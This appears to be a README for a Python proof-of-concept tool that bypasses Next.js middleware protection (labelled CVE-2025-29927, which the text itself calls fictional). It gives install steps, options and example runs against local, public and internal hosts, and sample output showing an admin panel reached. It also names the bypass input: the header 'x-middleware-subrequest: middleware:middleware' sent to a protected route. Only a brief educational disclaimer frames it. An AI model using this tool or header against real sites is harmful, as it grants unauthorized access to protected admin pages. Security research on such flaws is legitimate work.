PoC for Next.js Middleware Bypass (CVE-2025-29927)

This is a proof-of-concept for a fictional Next.js middleware bypass vulnerability (CVE-2025-29927). Use only for educational and authorized security research.

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🚀 Features

Feature	Description
✨ Color & Verbose	Color-coded output; -v for detailed debug logs.
📦 OOP Structure	Class-based design for clarity and maintainability.
🌐 Proxy Support	Route traffic through HTTP(S) proxies via --proxy.
🍪 Session Handling	Persistent requests.Session for cookies & connection reuse.
🚦 Redirect Control	No-follow-redirect by default; clearly detects pass vs. fail.
🛠 Custom Headers	Override User-Agent, x-middleware-subrequest, or add headers.

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⚡ Installation

# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc

# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

Requires Python 3.7+

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🎯 Usage

python poc.py [options] <host>[:port]

Option	Description
-p, --path PATH	Protected route path (default: /admin)
-s, --scheme {http,https}	Protocol (default: http)
--header HEADER	x-middleware-subrequest header value (default: middleware:middleware)
-ua, --user-agent AGENT	Custom User-Agent (default: Mozilla/5.0)
--proxy PROXY	HTTP(S) proxy URL (e.g., http://127.0.0.1:8080)
-v, --verbose	Enable debug output
-h, --help	Show this help message

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🔍 Examples

1. Basic Test

python poc.py localhost:3000

2. HTTPS & Custom Path

python poc.py example.com -s https -p /dashboard

3. Proxy & Verbose

python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v

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✅ Expected Output

Success

[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…

Failure

[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)

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